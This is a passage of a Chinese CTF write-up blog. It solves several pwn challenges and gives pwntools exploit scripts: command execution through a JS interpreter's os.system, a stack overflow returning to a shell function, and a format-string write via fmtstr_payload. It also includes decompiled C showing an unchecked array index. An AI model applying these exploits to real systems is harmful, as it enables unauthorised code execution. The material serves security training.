src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402040025571.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20220324205841815\" style=\"zoom: 50%;\" \/><\/div><\/p>\n<p>\u770b\u7f51\u4e0a\u7684wp\uff0c\u663e\u793a\u5e08\u5085\u4eec\u627e\u5230\u4e86<code>os.file<\/code>\u548c<code>os.path<\/code>\u4e24\u4e2a\u5b57\u7b26\u4e32\uff0c\u7136\u540e\u731c\u60f3 <code>os<\/code> \u642d\u914d\u547d\u4ee4\u53ef\u4ee5\u6b63\u5e38\u4f7f\u7528\u3002<\/p>\n<h3>EXP\uff1a<\/h3>\n<p>\u53c2\u8003\u5e08\u5085\u4eec\u7684wp\uff1a<\/p>\n<pre><code class=\"language-python\">from pwn import *\ncontext.log_level = &#039;debug&#039;\nprocess_name = &#039;.\/js&#039;\n# p = process([process_name], env={&#039;LD_LIBRARY_PATH&#039;:&#039;.\/&#039;})\np = remote(&#039;111.200.241.244&#039;, 57831)\n# elf = ELF(process_name)\np.sendlineafter(&#039;js&gt; &#039;, &#039;os.system(\\&#039;cat flag\\&#039;)&#039;)\np.interactive()<\/code><\/pre>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402040025572.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402040025572.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20220324211418174\" style=\"zoom:50%;\" \/><\/div><\/p>\n<h3>\u5c0f\u95ee\u9898\uff1a<\/h3>\n<p>\u8fd9\u91cc\u6211\u5728\u505a\u7684\u65f6\u5019\u51fa\u73b0\u4e86\u4e2a\u5947\u602a\u7684\u73b0\u8c61\uff1a<\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402040025573.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402040025573.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20220324212034362\" style=\"zoom: 50%;\" \/><\/div><\/p>\n<p>\u4e0d\u77e5\u9053\u5565\u60c5\u51b5\u3002<\/p>\n<h2>\u53cd\u5e94\u91dc\u5f00\u5173\u63a7\u5236<\/h2>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402040025574.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402040025574.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20220324212543636\" style=\"zoom: 50%;\" \/><\/div><\/p>\n<p>\u6253\u5f00\u73af\u5883\uff0c\u67e5\u770b\u9644\u4ef6\u57fa\u672c\u4fe1\u606f\uff1a<\/p>\n<p>\u62d6\u5165IDA\u8fdb\u884c\u5206\u6790\u3002<\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402040025575.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402040025575.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20220324213410819\" style=\"zoom:50%;\" \/><\/div><\/p>\n<p>\u518d\u770b\u4e00\u4e0b <code>easy<\/code> \u51fd\u6570\u548c <code>easy\u91cc\u9762\u7684normal<\/code> \u51fd\u6570\uff1a<\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402040025576.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402040025576.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20220324213938783\" style=\"zoom:50%;\" \/><\/div><br \/>\n<div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402040025577.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402040025577.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20220324214309403\" style=\"zoom: 50%;\" \/><\/div><\/p>\n<p>\u518d\u770b\u4e00\u4e0bshell<\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402040025578.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402040025578.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20220324214951821\" style=\"zoom:33%;\" \/><\/div><\/p>\n<p>\u8fd9\u4e48\u591a\u6f0f\u6d1e\u5728\uff0c\u76f4\u63a5\u5229\u7528\u5c31\u5b8c\u4e8b\u4e86<\/p>\n<h3>EXP\uff1a<\/h3>\n<pre><code class=\"language-python\">from pwn import*\np=remote(&quot;111.200.241.244&quot;:63940)\nshell=0x4005f6\npayload=&#039;a&#039;*0x208+p64(shell)\np.recv()\np.sendline(payload)\np.interactive()<\/code><\/pre>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402040025579.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402040025579.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20220324220022773\" style=\"zoom: 33%;\" \/><\/div><\/p>\n<h2>\u5b9e\u65f6\u6570\u636e\u76d1\u6d4b<\/h2>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402040025580.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402040025580.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20220325153814771\" style=\"zoom:50%;\" \/><\/div><\/p>\n<p>\u6253\u5f00\u73af\u5883\uff0c\u67e5\u770b\u57fa\u672c\u4fe1\u606f\uff1a<\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402040025581.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402040025581.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20220325154947745\" style=\"zoom: 50%;\" \/><\/div><\/p>\n<p>\u5565\u90fd\u6ca1\u5f00\u3002\u3002\u3002\u3002\u3002<\/p>\n<p>IDA\u67e5\u770b\u4e00\u4e0bmain\u51fd\u6570\uff1a<\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402040025582.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402040025582.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20220325155401097\" style=\"zoom:33%;\" \/><\/div><\/p>\n<p>\u518d\u770b\u4e00\u4e0blocker\u51fd\u6570\uff1a<\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402040025583.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402040025583.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20220325160627278\" style=\"zoom:33%;\" \/><\/div><\/p>\n<p>locker\u51fd\u6570\u9996\u5148\u63a5\u53d7\u4e86\u4e00\u4e2a<code>\u5b57\u7b26\u4e32s<\/code>\uff0c\u7136\u540e\u8c03\u7528<code>imagemagic\u51fd\u6570<\/code>\uff0c\u8fd9\u4e2a\u51fd\u6570\u8ddf\u8fdb\u53bb\u67e5\u770b\u5176\u5b9e\u5c31\u662f\u4e00\u4e2a<code>printf\u51fd\u6570<\/code>\uff0c\u6700\u540e<strong>\u6bd4\u8f83key\u7684\u503c\u662f\u4e0d\u662f\u4e3a0x2223322<\/strong>\uff0c\u5982\u679c\u76f8\u7b49\uff0c\u8fd4\u56deshell\uff0c\u5426\u5219\uff0c\u6253\u5370key\u7684\u5730\u5740\u548c\u503c\uff0c\u672c\u5730\u8fd0\u884c\u4e00\u4e0b\uff1a<\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402040025584.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402040025584.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20220325161145696\" style=\"zoom: 50%;\" \/><\/div><\/p>\n<p>\u9996\u5148\u627e\u504f\u79fb\u91cf\uff0cprintf(&quot;%p&quot;,a) \u7528\u5730\u5740\u7684\u683c\u5f0f\u6253\u5370\u53d8\u91cf a \u7684\u503c\u3002\u6211\u4eec\u5728\u524d\u9762\u8f93\u5165<code>AAAA<\/code>\uff0c\u6240\u4ee5\u53ea\u9700\u8981\u5728\u8fd4\u56de\u7ed3\u679c\u4e2d\u627e\u5230<code>0x41414141<\/code>\u5373\u53ef\u786e\u5b9a\u504f\u79fb\u3002<\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402040025585.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402040025585.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20220325161626020\" style=\"zoom: 50%;\" \/><\/div><\/p>\n<h3>EXP\uff1a<\/h3>\n<pre><code class=\"language-python\">from pwn import *\ndebug = False\nif debug:\n    conn = process(&#039;.\/data&#039;)\nelse:\n    conn = remote(&#039;111.200.241.244&#039;, 59741)\nkey_addr = 0x0804a048\nkey_value = 0x2223322\npayload = fmtstr_payload(12, {key_addr: key_value})\nconn.sendline(payload)\nconn.interactive()<\/code><\/pre>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402040025586.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402040025586.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20220325161928310\" style=\"zoom:50%;\" \/><\/div><\/p>\n<h2>stack2<\/h2>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402040025587.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402040025587.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20220325180142732\" style=\"zoom:50%;\" \/><\/div><\/p>\n<p>\u6253\u5f00\u73af\u5883\uff0c\u67e5\u770b\u57fa\u672c\u4fe1\u606f\uff1a<\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402040025589.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402040025589.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20220325180620542\" style=\"zoom:33%;\" \/><\/div><\/p>\n<p>\u5c1d\u8bd5\u8fd0\u884c\u4e00\u4e0b\uff1a<\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402040025590.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402040025590.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20220325181010542\" style=\"zoom:33%;\" \/><\/div><\/p>\n<p>\u6ca1\u6709\u5565\u6536\u83b7\uff0c\u8fd8\u662f\u5f97\u62d6\u5230IDA\u8fdb\u884c\u5206\u6790\uff0c\u67e5\u770b\u4e00\u4e0bmain\u51fd\u6570\uff1a<\/p>\n<pre><code class=\"language-c\">int __cdecl main(int argc, const char **argv, const char **envp)\n{\n  int v3; \/\/ eax\n  unsigned int v5; \/\/ [esp+18h] [ebp-90h]\n  unsigned int v6; \/\/ [esp+1Ch] [ebp-8Ch]\n  int v7; \/\/ [esp+20h] [ebp-88h]\n  unsigned int j; \/\/ [esp+24h] [ebp-84h]\n  int v9; \/\/ [esp+28h] [ebp-80h]\n  unsigned int i; \/\/ [esp+2Ch] [ebp-7Ch]\n  unsigned int k; \/\/ [esp+30h] [ebp-78h]\n  unsigned int l; \/\/ [esp+34h] [ebp-74h]\n  char v13[100]; \/\/ [esp+38h] [ebp-70h]\n  unsigned int v14; \/\/ [esp+9Ch] [ebp-Ch]\n\n  v14 = __readgsdword(0x14u);\n  setvbuf(stdin, 0, 2, 0);\n  setvbuf(stdout, 0, 2, 0);\n  v9 = 0;\n  puts(&quot;***********************************************************&quot;);\n  puts(&quot;*                      An easy calc                       *&quot;);\n  puts(&quot;*Give me your numbers and I will return to you an average *&quot;);\n  puts(&quot;*(0 &lt;= x &lt; 256)                                           *&quot;);\n  puts(&quot;***********************************************************&quot;);\n  puts(&quot;How many numbers you have:&quot;);\n  __isoc99_scanf(&quot;%d&quot;, &amp;v5);\n  puts(&quot;Give me your numbers&quot;);\n  for ( i = 0; i &lt; v5 &amp;&amp; (signed int)i &lt;= 99; ++i )\n  {\n    __isoc99_scanf(&quot;%d&quot;, &amp;v7);\n    v13[i] = v7;\n  }\n  for ( j = v5; ; printf(&quot;average is %.2lf\\n&quot;, (double)((long double)v9 \/ (double)j)) )\n  {\n    while ( 1 )\n    {\n      while ( 1 )\n      {\n        while ( 1 )\n        {\n          puts(&quot;1. show numbers\\n2. add number\\n3. change number\\n4. get average\\n5. exit&quot;);\n          __isoc99_scanf(&quot;%d&quot;, &amp;v6);\n          if ( v6 != 2 )\n            break;\n          puts(&quot;Give me your number&quot;);\n          __isoc99_scanf(&quot;%d&quot;, &amp;v7);\n          if ( j &lt;= 0x63 )\n          {\n            v3 = j++;\n            v13[v3] = v7;\n          }\n        }\n        if ( v6 &gt; 2 )\n          break;\n        if ( v6 != 1 )\n          return 0;\n        puts(&quot;id\\t\\tnumber&quot;);\n        for ( k = 0; k &lt; j; ++k )\n          printf(&quot;%d\\t\\t%d\\n&quot;, k, v13[k]);\n      }\n      if ( v6 != 3 )\n        break;\n      puts(&quot;which number to change:&quot;);\n      __isoc99_scanf(&quot;%d&quot;, &amp;v5);\n      puts(&quot;new number:&quot;);\n      __isoc99_scanf(&quot;%d&quot;, &amp;v7);\n      v13[v5] = v7;\n    }\n    if ( v6 != 4 )\n      break;\n    v9 = 0;\n    for ( l = 0; l &lt; j; ++l )\n      v9 += v13[l];\n  }\n  return 0;\n}<\/code><\/pre>\n<p>\u6ca1\u6709\u770b\u5230\u660e\u663e\u7684\u6f0f\u6d1e\uff0c\u6ca1\u529e\u6cd5\u53ea\u80fd\u53bb\u7f51\u4e0a\u819c\u62dc\u4e00\u4e0b\u5176\u4ed6\u7684\u5927\u4f6c\u4e86\uff0c\u672c\u9898\u7684\u6808\u6ea2\u51fa\u662f\u56e0\u4e3a\u5bf9v5\u6ca1\u6709\u4efb\u4f55\u68c0\u6d4b\uff0c\u6570\u7ec4\u6ca1\u6709\u8fb9\u754c\u68c0\u67e5\u5bfc\u81f4\u7684\uff0c\u8fd9\u6837\u7684\u6808\u6ea2\u51fa\u6bd4\u8f83\u9690\u853d\u3002<\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402040025591.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402040025591.png\" 